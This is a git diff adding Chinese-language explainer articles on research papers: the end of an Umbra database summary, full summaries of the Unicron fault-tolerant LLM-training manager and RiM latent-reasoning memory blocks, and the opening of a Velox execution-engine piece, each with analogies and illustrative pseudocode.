+  - `1` = 排他锁定（独占）
+  - `n+1`（n>=1）= 共享锁定（n 个线程在读）
+
+```python
+# 伪代码：乐观读取一个页面
+def optimistic_read(page):
+    # 1. 记录版本号（不获取任何锁）
+    version = page.latch.version_counter
+
+    # 2. 直接读取数据（零竞争！）
+    data = read_page_content(page)
+
+    # 3. 释放时验证版本号
+    if page.latch.version_counter != version:
+        # 并发修改发生了，重新读
+        data = read_page_content(page)
+
+    return data
+```
+
+对比传统锁的方式：
+
+```python
+# 传统方式：每个读线程都要排队等共享锁
+def traditional_read(page):
+    page.latch.acquire_shared()      # 排队等待！
+    data = read_page_content(page)   # 拿到数据
+    page.latch.release_shared()      # 释放锁
+    return data
+```
+
+### 示例 2：字符串头部的结构设计
+
+Umbra 的字符串头部只有 16 字节，但巧妙地处理了短串和长串：
+
+```
+短字符串（<= 12 字符）：
++----------+----------------------------------+
+| Length   | Inline Data (最多12个字符)           |
+| 4 bytes  | 12 bytes                           |
++----------+----------------------------------+
+
+长字符串（> 12 字符）：
++----------+----------+----------------------------+
+| Length   | Prefix   | Offset or Pointer (8 bytes)  |
+| 4 bytes  | 4 bytes  | 前4个字符 + 定位信息         |
++----------+----------+----------------------------+
+```
+
+```python
+# 伪代码：字符串比较时利用前缀快速短路
+def compare_strings(str_a, str_b):
+    header_a = str_a.header
+    header_b = str_b.header
+
+    # 先比长度
+    if header_a.length != header_b.length:
+        return header_a.length - header_b.length
+
+    # 短字符串：头部里就有完整数据，直接比
+    if header_a.inline:
+        return header_a.data[:header_a.length] < header_b.data[:header_b.length]
+
+    # 长字符串：头部前4个字符就能排除很多情况
+    if header_a.prefix != header_b.prefix:
+        return header_a.prefix < header_b.prefix
+
+    # 前缀相同，再去读完整数据细比
+    full_a = read_string_body(str_a)
+    full_b = read_string_body(str_b)
+    return full_a < full_b
+```
+
+### 示例 3：缓冲管理器的页面换入换出
+
+Umbra 用 `pread` / `pwrite` 系统调用在 SSD 和内存之间搬运数据，用 `madvise` 告诉操作系统哪些物理内存可以回收：
+
+```python
+# 伪代码：页面换入（从 SSD 读到内存）
+def pin_page(frame, page_id):
+    # 1. 用 pread 直接从 SSD 读到预留的虚拟地址
+    pread(fd, frame.virtual_address, offset=page_id * page_size)
+
+    # 2. 此时操作系统自动建立虚拟地址到物理内存的映射
+
+# 伪代码：页面换出（从内存写回 SSD）
+def unpin_page(frame):
+    # 1. 用 pwrite 把脏页写回 SSD
+    pwrite(fd, frame.virtual_address, offset=frame.page_id * page_size)
+
+    # 2. 告诉内核：这块物理内存可以回收了
+    madvise(frame.virtual_address, page_size, MADV_DONTNEED)
+
+    # MADV_DONTNEED 几乎零开销——虚拟地址还在，
+    # 但物理内存立即释放。下次读时映射到全零页，
+    # 不会分配新物理内存。
+```
+
+## 四、执行模型的调整
+
+除了缓冲管理器，Umbra 还做了不少其他改动：
+
+### 自适应编译策略
+
+HyPer（前身）一上来就把查询编译成机器码，但编译本身很耗时。Umbra 采用"先解释、后编译"的策略：
+
+1. 首次执行：把 IR 翻译成字节码，用虚拟机解释执行
+2. 并行步骤的运行时引擎跟踪进度
+3. 如果发现某个步骤反复执行，再交给 LLVM 编译成机器码
+
+这样避免了"编译时间比执行时间还长"的问题。
+
+### 轻量级 IR
+
+Umbra 没有直接用 LLVM IR，而是实现了一个自定义的轻量级 IR。因为 LLVM 是为通用场景设计的，很多功能 Umbra 用不上，反而带来开销。自定义 IR 可以更高效地生成代码。
+
+## 五、实验结果要点
+
+作者在 Intel Core i7-7820X（8核16线程，64GB RAM）上，用三星 960 EVO SSD 做了测试：
+
+- 冷数据读取吞吐量：**1.15 GB/s**（绕过缓冲管理器）
+- 使用缓冲管理器后：**1.13 GB/s**（几乎无损耗）
+- 当工作集全部在内存中时，性能与纯内存数据库 HyPer 相当
+- 当数据超出内存时，依然能充分利用 SSD 带宽
+
+关键结论：**瓶颈在存储吞吐量，不在缓冲管理器本身**。多加几块 SSD 就能继续提升性能。
+
+## 六、总结
+
+Umbra 解决了一个很实际的问题：纯内存数据库虽然快，但内存太贵且增长放缓；纯磁盘数据库便宜但慢。Umbra 找到了中间路线——
+
+- 可变大小页面 + 乐观锁 + madvise 技巧 = 低开销缓冲管理器
+- 字符串三段式存储 = 避免长字符串跨页
+- 自适应编译 = 平衡编译时间和执行时间
+- 最终效果：缓存命中时媲美内存数据库，未命中时也能优雅地利用 SSD 带宽
+
+这篇论文的价值在于它证明了：**只要设计得当，磁盘数据库也可以很快，快到用户几乎感觉不到区别。**
diff --git a/src/content/docs/papers/unicron.md b/src/content/docs/papers/unicron.md
new file mode 100644
index 000000000..ff1fcd23a
--- /dev/null
+++ b/src/content/docs/papers/unicron.md
@@ -0,0 +1,364 @@
+---
+title: Unicron —— 让大模型训练自己治伤的"自动维修系统"
+来源: https://arxiv.org/abs/2401.00134
+日期: 2026-06-13
+分类: 基础设施
+子分类: LLM系统
+provenance: pipeline-v3
+---
+
+## 一句话概括
+
+Unicron 是阿里巴巴提出的一个** workload manager（工作负载管理器）**，让大规模 LLM 训练在 GPU 频繁故障时能够自动检测、自动修复、自动重新规划资源，最终把整体训练成本降到最低。
+
+---
+
+## 1 类比：开一家连锁餐厅
+
+想象你开了 10 家连锁餐厅（这 10 家店 = 一个 GPU 集群）。每天各店同时在炒菜（各任务同时训练）。但偶尔会发生：
+
+- 某家店的灶台坏了（GPU 故障）
+- 某家店的电闸跳了（网络断连）
+- 有新店开业了，需要调配人手（新节点加入）
+
+**传统做法**：灶台坏了 → 等厨师自己发现（可能要 30 分钟） → 打电话给老板 → 老板手动决定是关掉这家店重新开工，还是把几个店的菜合并 → 等新的灶台安装好（几小时到几天） → 继续炒
+
+**Unicron 的做法**：每家店里有一个"店长"（Unicron Agent），每 5 分钟给总部打个电话报平安。电话打不到了？总部立刻知道这家店出事了。总部还有一个"总调度"（Unicron Coordinator），它同时看着所有店的情况，一旦出事，立刻用数学算出最优方案：是重启、合并，还是等新店加入后重新分配。
+
+---
+
+## 2 为什么要写这篇论文？
+
+### 2.1 现实中的痛苦数据
+
+在阿里云上训练 GPT-3 级别模型，用 256 块 H800 GPU 训练 7 天：
+
+- 最高资源消耗的 5% 任务，**故障率高达 43.4%**
+- 73% 的故障只需要重启就能恢复，但默认方式要浪费 **68 分钟**（30 分钟等超时 + 9 分钟排队 + 14 分钟配环境 + 15 分钟重算）
+- 硬件故障占 37%，需要人工介入，系统进入"亚健康"状态几小时到几天
+
+**一句话**：GPU 越贵、越多，训练越久，故障就越频繁，传统的"坏了就重启"策略在经济上不可持续。
+
+### 2.2 现有方案的问题
+
+| 方案 | 做了什么 | 缺了什么 |
+|------|---------|---------|
+| 检查点（Checkpointing） | 定期保存训练状态 | 只能恢复数据，不能动态调配资源 |
+| 弹性训练（Elasticity） | 节点故障时不中断 | 和 Megatron 集成困难，性能下降大 |
+| 热备（Hot Spares） | 永远多准备一些 GPU | 浪费资源，不经济 |
+| 其他容错系统 | 只关注单个任务 | 不看集群全局，不经济 |
+
+核心问题：现有方案要么只看单个任务，要么牺牲性能换取弹性。**没有人从"整体成本最优"的角度来设计。**
+
+---
+
+## 3 核心概念拆解
+
+### 3.1 训练故障的三大成本
+
+Unicron 把每次故障的成本拆成三部分：
+
+```
+总恢复成本 = 发现成本 + 切换成本 + 亚健康成本
+```
+
+- **发现成本（Cdetection）**：从故障发生到系统"意识到"故障的时间
+- **切换成本（Ctransition）**：从决定修复到系统在新配置下重新跑起来的停机时间
+- **亚健康成本（Csub-healthy）**：修复后用了不优的配置，GPU 跑不满的持续浪费
+
+**类比**：你开车半路抛锚
+
+- 发现成本 = 你花了多久发现车坏了（仪表盘亮灯 vs 完全抛锚在高速上）
+- 切换成本 = 叫拖车 + 换车 + 重新上路的时间
+- 亚健康成本 = 换了辆车但排量变小了，以后每次出行都多花 20% 时间
+
+### 3.2 系统架构：Agent + Coordinator
+
+```
+                    +-------------------+
+                    |  Coordinator     |
+                    |  (总调度)          |
+                    |  - 看全局         |
+                    |  - 算最优方案     |
+                    |  - 用 etcd 记录状态 |
+                    +--------+----------+
+                             | 指令下发
+              +--------------+--------------+
+              |              |              |
+        +-----v----+  +-----v----+  +-----v----+
+        | Agent #1 |  | Agent #2 |  | Agent #N |
+        | (店长)    |  | (店长)    |  | (店长)    |
+        | - 监控GPU |  | - 监控GPU |  | - 监控GPU |
+        | - 执行操作 |  | - 执行操作 |  | - 执行操作 |
+        | - 管理检查点|  | - 管理检查点|  | - 管理检查点|
+        +----------+  +----------+  +----------+
+```
+
+- **Unicron Agent**（每台机器一个）：
+  - 每块 GPU 配一个 CPU 监控线程（不占用 GPU 资源）
+  - 和 Coordinator 保持心跳连接
+  - 执行切换操作
+  - 管理检查点（基于 GEMINI 的内存检查点 + 异步传到远端存储）
+
+- **Unicron Coordinator**（中心节点）：
+  - 用 etcd 收集所有 Agent 上报的状态
+  - 故障发生时评估严重级别，决定应对策略
+  - 生成最优重配方案
+  - 管理整个集群的任务调度
+
+### 3.3 错误分级处理
+
+Unicron 把故障分成三级，从轻到重：
+
+| 级别 | 名称 | 例子 | 处理方式 |
+|------|------|------|---------|
+| **sev3**（轻） | 网络抖动、连接超时 | link flapping、connection refused | 原地重试（Reattempt In-place） |
+| **sev2**（中） | CUDA 错误、非法内存访问 | 软件异常 | 重启进程（Restart Process） |
+| **sev1**（重） | GPU 硬件故障、NVLink 断开 | 节点宕机 | 集群重配（Reconfigure Cluster） |
+
+**类比**：
+- sev3 = WiFi 断了一下 → 重连就行
+- sev2 = App 崩了 → 关掉重来
+- sev1 = 手机摔坏了 → 需要换机
+
+### 3.4 WAF：衡量"训练效率"的指标
+
+WAF（Weighted Achieved Aggregate FLOP/s）是这篇论文提出的核心度量指标。
+
+公式：
+
+```
+F(t, x) = w(t) × T(t, x)    （当资源满足最低要求时）
+F(t, x) = 0                   （不满足最低要求时）
+```
+
+其中：
+
+- `t` = 某个训练任务
+- `x` = 分配给该任务的 GPU 数量
+- `w(t)` = 任务权重（优先级，默认=1）
+- `T(t, x)` = 给定 x 块 GPU 时，任务 t 实际能达到的 aggregate FLOP/s
+
+**类比**：WAF 就像汽车的"综合油耗"。不是看理论马力多大，而是看**实际跑起来每秒钟能做多少有用功**，再乘以这辆车的"重要性"。
+
+---
+
+## 4 代码示例
+
+### 4.1 模拟错误分级检测
+
+这段伪代码展示了 Unicron 的 Agent 如何根据错误类型判断严重级别：
+
+```python
+# 每个 GPU 上的监控线程，持续检测训练进程
+def monitor_gpu_errors(gpu_id, training_process):
+    """
+    Unicron Agent 的错误检测逻辑。
+    每块 GPU 对应一个监控线程，运行在 CPU 上，不影响 GPU 训练。
+    """
+    while training_process.is_running():
+        # 1. 节点健康检测：心跳是否超时？
+        if not coordinator.is_heartbeat_alive(gpu_id):
+            raise Failure(severity="sev1", type="node_disconnected")
+
+        # 2. 进程监控：训练进程是否异常退出？
+        if not training_process.is_alive():
+            raise Failure(severity="sev2", type="process_crashed")
+
+        # 3. GPU 异常捕获：CUDA 错误、ECC 错误等
+        gpu_exception = gpu_device.check_exceptions(gpu_id)
+        if gpu_exception:
+            severity = {
+                "ECC_error":       "sev1",
+                "NVLink_error":    "sev1",
+                "cuda_error":      "sev2",
+                "illegal_memory":  "sev2",
+                "network_error":   "sev3",
+            }.get(gpu_exception.type, "sev2")
+            raise Failure(severity=severity, type=gpu_exception.type)
+
+        # 4. 在线统计监测：迭代时间是否严重偏离正常值？
+        iteration_time = measure_iteration_time(gpu_id)
+        avg_time = running_average(gpu_id)
+        if iteration_time > 3.0 * avg_time:  # 超过 3 倍平均时间
+            raise Failure(severity="sev3", type="task_hang")
+
+        sleep(0.1)  # 每 100ms 检测一次
+```
+
+### 4.2 动态规划重配算法
+
+这段代码展示 Coordinator 如何计算最优的 GPU 分配方案：
+
+```python
+def generate_optimal_reconfiguration(tasks, available_gpus):
+    """
+    Unicron Coordinator 的重配方案生成器。
+    用动态规划解决：在有限 GPU 资源下，最大化集群的总 WAF。
+
+    参数:
+        tasks:       [{id, weight, min_gpus, performance_profile}, ...]
+                     performance_profile[x] = 分配到 x 块 GPU 时的 T(t, x)
+        available_gpus: 当前集群可用的 GPU 总数
+
+    返回:
+        assignment: {task_id: num_gpus}  最优分配方案
+    """
+
+    n_tasks = len(tasks)
+
+    # ----- Step 1: 计算 WAF 函数 -----
+    def waf(task, num_gpus):
+        """计算单个任务的 WAF 值"""
+        if num_gpus < task["min_gpus"]:
+            return 0  # 不满足最低资源需求，贡献为 0
+        achieved_flops = task["performance_profile"][num_gpus]
+        return task["weight"] * achieved_flops
+
+    # ----- Step 2: 定义 G 函数（考虑运行时间和切换成本）-----
+    def task_reward(task, old_gpus, new_gpus):
+        """
+        G(t, x') = WAF 收益 - 切换惩罚
+        """
+        reward = waf(task, new_gpus) * expected_run_duration(available_gpus)
+        # 如果配置变了，或者节点故障了，加上切换惩罚
+        if old_gpus != new_gpus:
+            penalty = waf(task, old_gpus) * transition_duration
+            return reward - penalty
+        return reward
+
+    # ----- Step 3: 动态规划 -----
+    # S[i][j] = 前 i 个任务分配 j 块 GPU 时的最大总奖励
+    S = [[0] * (available_gpus + 1) for _ in range(n_tasks + 1)]
+
+    for i in range(1, n_tasks + 1):
+        task = tasks[i - 1]
+        for j in range(available_gpus + 1):
+            # 尝试把 0 ~ j 块 GPU 全部分配给第 i 个任务
+            best = 0
+            for k in range(j + 1):
+                prev = S[i - 1][j - k]
+                current = task_reward(task, task["old_gpus"], k)
+                candidate = prev + current
+                if candidate > best:
+                    best = candidate
+            S[i][j] = best
+
+    # ----- Step 4: 回溯找到最优分配方案 -----
+    assignment = {}
+    remaining = available_gpus
+    for i in range(n_tasks, 0, -1):
+        task = tasks[i - 1]
+        # 找到第 i 个任务实际分配了多少 GPU
+        for k in range(remaining + 1):
+            if S[i - 1][remaining - k] + task_reward(task, task["old_gpus"], k) == S[i][remaining]:
+                assignment[task["id"]] = k
+                remaining -= k
+                break
+
+    return assignment
+```
+
+**复杂度说明**：时间复杂度 O(m × n²)，其中 m 是任务数，n 是 GPU 数量。实际中 m 和 n 都不大，所以跑起来很快。Coordinator 甚至可以**预先计算**各种故障场景的分配表，故障发生时直接查表。
+
+---
+
+## 5 平滑切换：如何"边开车边换引擎"
+
+最让人头疼的不是故障本身，而是**故障后的切换过程**。Unicron 的核心创新之一是让切换尽可能快。
+
+### 5.1 关键洞察
+
+Megatron 的每轮训练迭代（iteration）中，不同部分在不同 GPU 上运行。Unicron 发现：**一轮迭代中，不是所有 GPU 都需要同步等待**。当某块 GPU 出故障时，其他 GPU 已经算完的部分可以被保留和复用。
+
+### 5.2 切换三步走
+
+```
+故障发生
+  │
+  ▼
+Step 1: 快速检测（几秒内）
+  │     Agent 检测到错误 → 上报 Coordinator
+  │
+  ▼
+Step 2: 保存中间结果
+  │     保留本轮迭代中已完成 GPU 的计算结果
+  │     从数据并行副本或最近检查点恢复状态
+  │
+  ▼
+Step 3: 平滑过渡到新配置
+        在新配置下从最近的可恢复点继续训练
+        不需要从零开始重算
+```
+
+**类比**：你在做一道多步骤的菜。切到一半砧板裂了。传统做法是倒掉所有菜重新开始。Unicron 的做法是：已经切好的菜先放着（保留中间结果），换了新砧板后，从"切好的菜"这步继续往下做。
+
+### 5.3 三种处理方式
+
+| 方式 | 适用级别 | 操作 |
+|------|---------|------|
+| Reattempt In-place | sev3 | 原地重试网络操作，成功则继续 |
+| Restart Process | sev2 | 重启训练进程，从 DP 副本或检查点恢复 |
+| Reconfigure Cluster | sev1 | 隔离故障节点，重新计算分配方案，平滑迁移 |
+
+---
+
+## 6 实验结果
+
+### 6.1 实验设置
+
+- 集群：**128 块 GPU** 分布式集群
+- 框架：基于 Megatron-LM
+- 对比基线：手动恢复、Oobleck、Bamboo、Varuna
+
+### 6.2 核心数据
+
+| 指标 | 结果 |
+|------|------|
+| 错误检测时间 | 秒级（相比默认的 30 分钟超时大幅减少） |
+| 整体训练效率 | 提升最高达 **1.9 倍** |
+| 故障恢复成本 | 显著降低 |
+| WAF 优化 | 在任务并发场景下动态分配，最大化集群吞吐量 |
+
+### 6.3 关键发现
+
+- 仅 2% 的停机时间，可能导致 **3 倍以上** 的吞吐量损失
+- 现有容错系统在正常情况下的吞吐量就远低于 Megatron，"容错"本身就成了瓶颈
+- Unicron 不牺牲正常训练性能，只在故障时介入
+
+---
+
+## 7 总结与思考
+
+### 7.1 Unicron 的核心贡献
+
+1. **非侵入式设计**：建立在 Megatron 之上，继承了 Megatron 的所有优化，不影响正常训练性能
+2. **带内检测（In-band Detection）**：监控线程跑在 CPU 上，不增加 GPU 开销
+3. **全局视角**：从集群整体成本出发，而非单个任务
+4. **严格的优化器语义**：恢复时不近似、不异步，保证参数更新完全一致
+5. **1.9 倍效率提升**：在 128-GPU 集群上验证
+
+### 7.2 学习心得
+
+这篇论文让我理解了"弹性"和"经济"之间的关系：
+
+- 光有弹性不够 —— 弹性系统本身可能性能差（Oobleck 的案例）
+- 光有性能不够 —— 高性能系统（Megatron）不擅长容错
+- **最优解是：高性能基线 + 最小化的弹性介入**
+
+这就像一个优秀的驾驶员：不是永远在备胎上开车，而是在轮胎爆胎时，花最少的代价换回原装轮胎，继续原来的路线。
+
+### 7.3 延伸思考
+
+- 论文用了动态规划，但在超大规模集群（数千 GPU）上可能需要近似算法
+- WAF 指标提出了"经济视角"，是否可以扩展到更多维度（如碳排放成本）？
+- Unicron 与 Kubernetes + PyTorch 生态的兼容性如何？
+
+---
+
+## 参考
+
+- 论文原文：https://arxiv.org/abs/2401.00134
+- Megatron-LM：https://github.com/NVIDIA/Megatron-LM
+- GEMINI 检查点优化：https://arxiv.org/abs/2207.12012
+- Oobleck 弹性训练：https://arxiv.org/abs/2201.12520
diff --git a/src/content/docs/papers/unlocking-the-working-memory-of-large-language-models-for-latent-reasoning-arxiv.md b/src/content/docs/papers/unlocking-the-working-memory-of-large-language-models-for-latent-reasoning-arxiv.md
new file mode 100644
index 000000000..e8aaff4c0
--- /dev/null
+++ b/src/content/docs/papers/unlocking-the-working-memory-of-large-language-models-for-latent-reasoning-arxiv.md
@@ -0,0 +1,293 @@
+---
+title: Unlocking the Working Memory of Large Language Models for Latent Reasoning
+来源: https://arxiv.org/abs/2605.30343
+日期: 2026-06-13
+分类: 机器学习
+子分类: ML 系统
+provenance: pipeline-v3
+---
+
+# Unlocking the Working Memory of Large Language Models for Latent Reasoning
+
+## 一句话总结
+
+这篇论文提出了一种叫 **RiM（Reasoning in Memory）** 的新方法，让大语言模型像人一样，在"脑海中的工作记忆"里悄悄做推理，而不是把每一步思考都大声念出来。
+
+## 日常类比：心算 vs 列竖式
+
+想象你在做一道数学题：347 + 589。
+
+有两种解法：
+
+- **列竖式（显式推理）**：你把每一步都写在纸上，进位、相加、写结果。外人能完全看到你的思考过程。这就像目前主流的 "Chain of Thought"（思维链）方法——模型必须把中间推理步骤一个个生成成文字。
+- **心算（隐性推理）**：你在脑子里记住进位、逐步计算，最后只说出答案 "936"。外人看不到你脑中的计算过程，但计算确实发生了。
+
+RiM 要做的，就是让 AI 学会"心算"。
+
+## 背景：为什么现有的方法不够好
+
+### Chain of Thought（CoT）——"边想边说"
+
+2022 年，Wei 等人提出了 Chain of Thought  prompting。核心思想很简单：如果你让模型在给出最终答案之前，先生成一些推理步骤（比如"第一步，347 + 500 = 847"），它的准确率会大幅提升。
+
+但这有个代价：
+
+1. **速度慢**：模型必须一步一步地生成文本，不能并行。每多一个推理步骤，就多一次生成。
+2. **浪费算力**：生成的推理步骤必须符合自然语言的语法和流畅度——这部分计算是为了"让人看懂"，不是为了"帮助推理"。
+3. **暴露过程**：推理过程被完整暴露，既可能泄露敏感信息，也可能被恶意利用来构造攻击。
+
+### 已有的改进：Latent Reasoning
+
+后来有人尝试用"连续向量"代替"文字"来做中间推理（比如 Coconut 方法）。虽然不再受自然语言限制，但本质上还是"一步一步生成"——只是从生成文字变成了生成数字向量。
+
+**关键问题没有变：推理仍然被绑定在自回归生成上。**
+
+### 人类的启示：工作记忆
+
+认知心理学中有一个经典概念叫 **工作记忆（Working Memory）**。它是大脑中一个临时存放和操作信息的"内部工作台"。当你做复杂心算时，你不会把每一步都说出来——你在心里记住中间结果，逐步操作，最后才说出答案。
+
+RiM 的作者问了一个关键问题：**如果让大语言模型也有类似的工作记忆呢？**
+
+## 核心概念
+
+### 1. 记忆块（Memory Blocks）
+
+RiM 的核心发明是 **记忆块**。每个记忆块是一组固定的特殊标记，格式如下：
+
+```
+<b> <m> <m> </b>
+```
+
+- `<b>` 和 `</b>`：标记块的开始和结束
+- `<m>`：实际的"工作记忆单元"，可以有多个
+
+这些特殊标记在训练前不存在于模型的词汇表中，因此不会干扰模型已有的知识。训练时，只有这些特殊标记的嵌入向量会被更新，原有词汇的嵌入保持不变。
+
+### 2. 单次前向传播
+
+因为记忆块是 **固定输入**（不是模型生成的），整个推理过程只需要 **一次前向传播**：
+
+```
+输入: [问题] [<b> <m> <m> </b>] [<b> <m> <m> </b>] ... [<b> <m> <m> </b>]
+                                              ↓
+                                    一次前向传播
+                                              ↓
+                                    输出: 答案
+```
+
+对比 Chain of Thought：
+
+```
+输入: [问题]
+  ↓ 第1步生成
+输出: "第一步: 347 + 500 = ..."
+  ↓ 第2步生成（依赖第1步的输出）
+输出: "第二步: 847 + 89 = ..."
+  ↓ 第3步生成
+输出: "答案是 936"
+```
+
+CoT 需要 T 次串行生成，RiM 只需要 1 次前向传播。
+
+### 3. 两阶段课程学习
+
+记忆块本身没有预设的计算角色——它们只是随机初始化的特殊标记。如何让模型学会使用它们？作者设计了两个训练阶段：
+
+**第一阶段：推理步骤监督（Reasoning Step Supervision）**
+
+- 给定一个问题的标准推理过程，把它拆分成 T 个推理步骤
+- 为每个推理步骤分配一个记忆块
+- 训练模型：在每个记忆块之后，预测下一个推理步骤
+
+这就像老师让学生做题时，先在草稿纸上写出每一步，然后老师检查每一步是否正确。通过这种方式，模型学会了把有用的中间信息存入记忆块。
+
+**第二阶段：最终答案精炼（Final Answer Refinement）**
+
+- 移除推理步骤的监督信号
+- 训练模型：在每个记忆块之后，直接预测最终答案
+- 随着记忆块数量增加，答案逐渐变得更准确
+
+这就像学生已经学会了如何在草稿纸上记录思考过程，现在可以只在心里计算，最后只写出答案。
+
+## 代码示例
+
+### 示例 1：RiM 的训练数据构造
+
+假设我们有一个数学问题和它的标准推理过程：
+
+```python
+# 原始问题
+question = "小明有 347 个苹果，又买了 589 个。他一共有多少个苹果？"
+
+# 标准推理过程（被拆分成 3 个步骤）
+reasoning_steps = [
+    "第一步：347 + 500 = 847",
+    "第二步：847 + 80 = 927",
+    "第三步：927 + 9 = 936",
+]
+
+# 最终答案
+answer = "936"
+
+# 构建 RiM 的训练序列
+# 将推理步骤替换为固定数量的记忆块
+num_memory_blocks = len(reasoning_steps)  # 3 个
+memory_block = "<b> <m> <m> </b>"
+
+# 训练输入：问题 + 记忆块
+rim_input = f"{question} {memory_block} {memory_block} {memory_block}"
+
+# 训练标签：在每个记忆块之后，分别对应下一个推理步骤
+# 第 1 个记忆块之后 → 预测 "第一步：347 + 500 = 847"
+# 第 2 个记忆块之后 → 预测 "第二步：847 + 80 = 927"
+# 第 3 个记忆块之后 → 预测最终答案 "936"
+rim_targets = reasoning_steps + [answer]
+
+# 这就是第一阶段（Stage 1）的训练数据格式
+# 模型学习：看到问题 + 前 k 个记忆块 → 预测第 k+1 个推理步骤
+```
+
+### 示例 2：RiM 的注意力掩码（Attention Mask）
+
+RiM 使用了一个特殊的注意力掩码，确保每个记忆块的输出只能看到它之前的记忆块，而不能"偷看"其他推理步骤：
+
+```
+输入序列布局：
+[问题] [<mb1>] [<mb2>] [<mb3>] [target1] [target2] [target3]
+
+注意力掩码规则：
+- mb1 可以看到：[问题]、[mb1]
+- mb2 可以看到：[问题]、[mb1]、[mb2]
+- mb3 可以看到：[问题]、[mb1]、[mb2]、[mb3]
+- target1 可以看到：[问题]、[mb1]  （不能看到 target2 或 target3！）
+- target2 可以看到：[问题]、[mb1]、[mb2]
+- target3 可以看到：[问题]、[mb1]、[mb2]、[mb3]
+
+这样设计的目的：
+- 每个推理步骤的预测只能依赖记忆块中的信息
+- 模型无法绕过记忆块直接"抄答案"
+- 所有目标可以同时在一个前向传播中训练
+```
+
+用伪代码表示这个掩码：
+
+```python
+def build_rim_attention_mask(question_len, num_memory_blocks, target_per_block=1):
+    """
+    构建 RiM 的自定义注意力掩码
+    
+    参数:
+        question_len: 问题部分的 token 数量
+        num_memory_blocks: 记忆块的数量
+        target_per_block: 每个记忆块后的目标数量（通常为 1）
+    
+    返回:
+        attention_mask: 上三角掩码矩阵，确保因果性
+    """
+    block_size = 4  # <b> <m> <m> </b>
+    total_seq_len = question_len + num_memory_blocks * block_size + num_memory_blocks
+    
+    # 初始化为全连接（允许所有位置互相注意）
+    mask = torch.ones(total_seq_len, total_seq_len)
+    
+    for i in range(total_seq_len):
+        for j in range(total_seq_len):
+            # 规则 1: 不能看到未来的 token（因果性）
+            if j > i:
+                mask[i][j] = float('-inf')
+            
+            # 规则 2: 推理目标不能看到其他推理目标
+            # 找到当前 token 属于哪个位置
+            pos_in_seq = i - question_len
+            if pos_in_seq >= num_memory_blocks * block_size:
+                # 这是一个推理目标位置
+                target_idx = pos_in_seq - num_memory_blocks * block_size
+                # 它只能看到对应的记忆块及其之前的内容
+                max_visible = question_len + (target_idx + 1) * block_size
+                if j >= max_visible:
+                    mask[i][j] = float('-inf')
+    
+    return mask
+```
+
+### 示例 3：推理时的使用
+
+训练完成后，推理过程非常简单——只需一次前向传播：
+
+```python
+def rim_inference(model, question, memory_block="<b> <m> <m> </b>"):
+    """
+    RiM 推理函数
+    
+    与 Chain of Thought 的关键区别：
+    - CoT: 需要 T 次自回归生成（串行）
+    - RiM: 只需 1 次前向传播（并行）
+    """
+    # 构建输入：问题 + K 个记忆块
+    k = 8  # 使用 8 个记忆块
+    input_tokens = f"{question} " + f" {memory_block}" * k
+    
+    # 一次前向传播
+    outputs = model(input_tokens)
+    
+    # 每个记忆块后面都有一个"读出口"（readout）
+    # 可以得到 K 个逐步改进的答案
+    answers_at_each_step = []
+    for k in range(1, len(outputs.readouts) + 1):
+        answer = outputs.readouts[k-1]  # 第 k 个记忆块之后的答案
+        answers_at_each_step.append(answer)
+    
+    # 最终答案 = 最后一个记忆块之后的预测
+    final_answer = answers_at_each_step[-1]
+    
+    return final_answer, answers_at_each_step
+
+# 实际效果对比
+# Chain of Thought: TTFT = 420ms, 总延迟 = 420ms + T × 生成时间
+# RiM:             TTFT = 16ms, 总延迟 = 16ms（一次前向传播）
+# 
+# 在 Llama-3.2-1B 上，RiM 的推理延迟只有 CoT 的 ~4%，
+# 但准确率仍然超过 CoT。
+```
+
+## 实验结果
+
+作者在 GSM8K（小学数学题）和 GSM-Hard（更难题目）上进行了测试，主要结果：
+
+| 模型 | 方法 | GSM8K 准确率 | 推理延迟 |
+|------|------|-------------|---------|
+| Llama-3.2-1B | SFT（无 CoT） | 23.9% | 16ms |
+| Llama-3.2-1B | Coconut | 36.9% | 108ms |
+| Llama-3.2-1B | **RiM** | **42.1%** | **16ms** |
+| Llama-3.2-3B | SFT（无 CoT） | 36.2% | 28ms |
+| Llama-3.2-3B | Coconut | 41.3% | 189ms |
+| Llama-3.2-3B | **RiM** | **48.8%** | **28ms** |
+
+关键发现：
+- RiM 比 Coconut 准确率高 5-7.5 个百分点
+- RiM 的推理延迟与直接回答（无 CoT）相同，因为只有 TTFT（Time To First Token）
+- 即使使用更小的模型（1B），RiM 也能达到甚至超过更大模型的水平
+
+## 为什么这个方法重要
+
+1. **效率革命**：推理速度提升 25 倍，且准确率更高
+2. **隐私保护**：推理过程不暴露，不会被逆向工程
+3. **理论意义**：证明了 LLM 可以被训练出真正的"内在思考"能力，而不只是"复述思考"
+4. **实用价值**：可以在资源受限的设备上运行高质量推理
+
+## 类比总结
+
+回到开头的类比：
+
+- **CoT**：像一个学生做数学题时，大声念出每一步思考过程
+- **Coconut**：像一个学生用密码本写推理步骤，外人看不懂但还是要一步步写
+- **RiM**：像一个学生默默在心算，最后只说出答案——但答案是对的
+
+RiM 的核心洞见是：**思考不一定需要说出来。真正聪明的推理，发生在沉默之中。**
+
+## 参考文献
+
+- Aichberger, L. & Hochreiter, S. (2026). *Unlocking the Working Memory of Large Language Models for Latent Reasoning*. arXiv:2605.30343.
+- Wei, J. et al. (2022). Chain-of-Thought Prompting Elicits Reasoning in Large Language Models. NeurIPS.
+- Hao, S. et al. (2025). Coconut: Latent Reasoning with Continuous Representations. ICML.
+- Baddeley, A. (1992). Working Memory. Science.
diff --git a/src/content/docs/papers/velox-meta-2022.md b/src/content/docs/papers/velox-meta-2022.md
new file mode 100644
index 000000000..7b71fba1c
--- /dev/null
+++ b/src/content/docs/papers/velox-meta-2022.md
@@ -0,0 +1,347 @@
+---
+title: Velox — Meta 的统一执行引擎
+来源: https://www.vldb.org/pvldb/vol15/p3372-pedreira.pdf
+日期: 2026-06-13
+分类: 数据库
+子分类: 存储与查询
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：每家餐厅各备一套后厨
+
+想象一家大型餐饮集团，旗下有十几家**不同风格的餐厅**：快餐（批处理 ETL）、商务午餐（交互式 SQL）、外卖档口（流处理）、甜品站（ML 特征工程）。每家店都自己招厨师、自己买灶具、自己写菜谱——`substr()` 在 A 店是 0-based 下标，在 B 店是 1-based；空值处理、类型转换也各有一套。
+
+结果是：
+
+- **维护成本爆炸**：SIMD 向量化、字典编码优化、哈希表布局——同样的性能技巧要在十几个代码库里重复实现。
+- **食客体验不一致**：数据分析师写同一句 SQL，换引擎就可能得到不同结果（Meta 内部调查发现仅 `substr` 就有至少 12 种语义变体）。
